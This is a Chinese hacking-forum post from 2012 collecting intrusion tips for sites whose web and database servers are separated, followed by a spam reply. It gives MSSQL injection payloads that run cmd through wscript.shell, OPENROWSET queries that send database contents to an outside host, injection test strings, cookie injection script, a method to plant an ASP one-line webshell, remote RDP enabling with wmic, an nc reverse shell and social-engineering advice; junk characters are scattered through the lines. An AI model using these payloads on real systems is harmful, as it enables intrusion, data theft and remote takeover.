找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3659|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关' Y' F7 t5 x5 O4 x
1 m2 N1 M8 y( d- P9 n: O% \

+ J) @: C* u. b. d) zSA点数据库分离搞法+语句:& M  d: O" a+ H9 d- I
+ C- q; o' f( M) {& Z$ |# H
注射点不显错,执行下面三条语句页面都返回正常。
0 R5 n7 w% V& Z' F7 d6 e3 ?+ e8 Xand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
) n+ y* ~, G: C. C: F3 c- e" z, Xand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
9 {6 \5 m; [! N3 a3 Mand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
  k! X4 F9 _: z可以列目录,判断系统为2000,web与数据库分离
8 X4 J' ?/ {6 T; R' Z0 i8 O; ]0 A/ Z遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。( ^  k5 G! O2 Z7 \8 U# n0 L
在注射点上执行' L# }+ u8 ?5 g2 l
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--. `2 T, Y5 |7 ]8 {! N7 \  Z
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
' S7 b/ D2 x  m6 |. {& m' B还有我用NC监听得其他端口都没有得到IP。
$ y" d4 G% R3 x, y1 R. ]
0 k! d. w. X3 U5 K通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。; _4 W: C$ ?5 V  K( R5 S- z' n
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
# n5 ?& j4 A8 ~$ t/ E; ~  ~5 Y" V
% `$ n2 W8 |. o" ];insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--3 G* q1 z8 v' T* [# _0 ?
# _$ e, P; u- `, F. l7 t8 ]
现在就猜想是不是数据库是内网而且不能连外网。$ q+ ^3 C+ I% O
3 m6 M# c* ^8 H2 A

& P- \+ ?, a6 j: c! Raccess导出txt文本代码
/ A2 b: K4 T5 ySELECT * into [test.txt] in 'd:\web\' 'text;' from admin: x* P; J/ F/ r5 L

: G: I+ V$ b5 _
% E8 ]' q) L7 F- m: @" e" R% t# i
2 n& s  X7 C2 G: R! o# w. v& x9 U自动跳转到指定网站代码头
0 Q( {. |! l( ]<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>0 n9 X6 j5 q9 W: x
$ e' {1 h: y3 B0 {
- l6 e/ R! H* K, e
入侵java or jsp站点时默认配置文件路径:5 ~" W3 m! @% f+ W
\web-inf\web.xml
7 {4 |6 T+ Z) _9 etomcat下的配置文件位置:
' \: K0 B3 ^; u; f% U0 B, `& z) p: N3 v\conf\server.xml            (前面加上tomcat路径)
$ D( T1 Z3 ?/ n' q\Tomcat 5.0\webapps\root\web-inf\struts-config.xml4 L" c. `& [+ \! J. g. {8 P
2 J' f2 P0 E0 y

! M. ~. I9 A/ v
! Z* y- y( k+ d* e* E8 H1 Q) U% ~检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
2 B7 K8 T0 D/ M' K9 D1 a-1%23! t* d9 I8 Q6 W
>
. P  }2 G2 q% X1 w<
* ^: c3 f  b* O! Z3 Y, ]+ O1'+or+'1'='1. K8 ]" V  G) T: p
id=8%bf7 f: h! h0 j  ~0 H8 Z7 H& |
+ C) m4 J1 u) m9 s
全新注入点检测试法:
% D5 B1 W" U; b. s" a在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。; J' o) t# C( i4 Q! {* q# C6 P

% p6 o! P- j9 q- w. G5 |' O在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
9 _5 W/ S* |7 C& e( v& K4 d9 A
+ ^( d& j4 [4 x7 j" P搜索型注入判断方法:6 V' f+ I. y. U: n6 ~+ L: j8 n
北京%' and '1'='1' and '%'='2 z) B. N; d% M( o5 M2 b) t
北京%' and '1'='2' and '%'='! d) j' B6 s) C" y

( a7 T$ R1 d2 d& p$ M' V: G
) Q, v6 V$ e9 X+ a; ]COOKIES注入:
( y& W) m- W6 s% e% H. S7 B) U( x- C7 I( B0 x! b2 w# Z+ D
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
% q+ P6 B/ ^1 n, ^* [
5 u5 u( C9 Z' X% L2000专业版查看本地登录用户命令:
3 W( D$ \% F5 d+ |: k4 ^4 |: ]net config workstation
* H$ |3 {9 |* f, {( ~1 Q5 O: t3 m3 s5 Z( w- J# m5 U" e
8 k& C' v& `% d% ~) a
2003下查看ipsec配置和默认防火墙配置命令:6 U7 d" E" |( ~; @# S% f
netsh firewall show config
1 s. r. e$ e! enetsh ipsec static show all0 U- n/ v6 A9 c/ C
" |; g" r; V. _, w3 ]) {2 T
不指派指定策略命令:) m" r+ b* \. d/ Y$ |
netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)6 ?# e+ J* @; ]# D4 \6 H; y6 }
netsh ipsec static show policy all  显示策略名% o, z6 ]# ~0 i3 E
# i3 _4 x) }- ^$ f# f$ O; B8 ^4 E

+ ]+ A) F- C$ a& _! J* I猜管理员后台小技巧:
* r9 M& k# r; a5 n8 U" I) }- T3 Zadmin/left.asp
. g! ?% Q: N+ r# X! U! ]/ F: J6 [admin/main.asp
. Z; T& H' ?1 tadmin/top.asp1 E% z/ \1 \) Z- q
admin/admin.asp
; x6 I8 a0 ?# v. w( P& S会现出菜单导航,然后迅雷下载全部链接" V& e3 J1 l$ ]9 h. f, y

$ {2 e  O; t- o
( v: K6 _& O9 w, Z" U6 B社会工程学:
9 [; ]  S2 L6 k* [5 r7 Y: ?0 i用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人5 c( j0 v2 U  Y9 S2 Y. m
然后去骗客服& Y) I  [* m+ H/ l, a; t: E$ Z1 A; i
( }) V1 M, J; `  F  N  I- n. X

1 u+ O) D4 J3 i" c$ O统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码: ' K8 a8 K# \- T" r' Y
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
/ J* ~+ V- ?( R, b, B4 {3 {: u  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。$ E3 A& D) I* H$ L# ~
& n' ?' ?8 G( I. B) o# v- X4 r
" i& ]# J9 |4 y, b  M

& `! \8 R: m- H4 b6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)  c$ R6 U4 q' o, g1 D9 {* W
) `5 ^5 d# c6 b+ d

; P, L' L: Y. P5 ?# g2 z& Z7 i. p* ^, n( h) y3 O2 [0 H+ f6 I% T
CMD加密注册表位置/ w/ \4 _, Q! e8 f0 s/ f
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
7 }' g3 j, v0 b0 ^1 Z1 Q9 ^& nAutoRun1 \2 U- m6 t0 f* i# @! s% E
" q4 ]4 s3 c/ E: r# e- L& z
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor/ i+ U- C2 z+ p( x+ B* v
AutoRun3 r6 q4 N! h% U7 W: n0 C

: Y, ?* r1 {- }7 w3 I" z
9 E5 f  F) s$ |6 z$ Q在找注入时搜索Hidden,把他改成test
: S3 ]1 R; w+ s* W0 q% x4 p( o) a, R
( Z  _! J+ Z% k' s1 L7 I1 {! A7 R" d. K7 c
8 C# u. p! j$ i7 f2 x) N
mstsc /v:IP /console 5 H8 g8 E2 F$ [7 h. d; z0 i) W
+ L4 b0 b6 K" g/ o
. F9 `( ?6 f0 D4 l2 Y
一句话开3389:
$ v' f. O7 T4 O, W$ g/ n
; Y0 ?5 m! v9 h1 I; Z- B0 h2 M: v/ M最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  . I$ \( t) _* J: b& u0 v
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.0 W- I# R- J  j+ ]" ^- t  i
8 C5 B, e- L7 a

& Z: Q  ^1 V) {  G# L( N知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:) V' C) D) x0 Z6 `$ z( R. _. S
Insert into admin(user,pwd) values('test','test')
& g0 ~% h2 o7 C  d- x
) H4 k1 A- N( q1 J" C# I, C
. J( T0 V" S/ TNC反弹
6 F0 W& a# t) b! u$ e先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   4 h. l$ P8 U; E8 @
然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)9 O4 B) ^6 ?) |2 d1 f

( ]8 c2 E  o7 o: J
. C! S+ H1 h: M& l" Q- @9 X  r在脚本入侵过程中要经常常试用%00来确认下参数是否有问题' N! l- Y% X8 V8 Y+ z2 h

& ]0 z( K# I: t$ ]8 W有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录4 U2 w, G- _$ L& Z- y8 e
例如:. Y! |; ]3 v, i  f8 Q) e
subst k: d:\www\ 用d盘www目录替代k盘& i9 ~/ E0 a9 X7 h& I- R
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表